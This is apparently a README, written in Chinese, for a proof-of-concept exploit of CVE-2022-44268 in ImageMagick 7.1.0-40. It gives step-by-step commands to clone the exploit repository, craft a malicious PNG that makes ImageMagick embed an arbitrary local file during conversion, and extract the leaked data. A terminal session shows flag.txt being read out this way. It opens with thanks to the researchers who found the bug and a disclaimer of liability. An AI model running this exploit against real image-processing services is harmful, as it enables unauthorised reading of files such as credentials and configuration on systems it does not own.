感谢发现此漏洞的研究人员:
创建一个恶意 PNG 以利用 ImageMagick 7.1.0-40:
免责声明:本项目作者不对因本项目材料造成的任何可能的损害负责。
pip install Pillow)使用 craft.py 制作 PNG:
git clone https://github.com/agathanon/cve-2022-44268
cd cve-2022-44268
python3 craft.py original.png lol.png /path/to/file
使用 extract.py 提取数据:
python3 extract.py exfil.png
anon@computer:~/code/cve-2022-44268$ python3 craft.py original.png readflag.png $PWD/flag.txt
anon@computer:~/code/cve-2022-44268$ convert readflag.png -resize 100x100 exfil.png
anon@computer:~/code/cve-2022-44268$ python3 extract.py exfil.png
AAAABBBBCCCC
anon@computer:~/code/cve-2022-44268$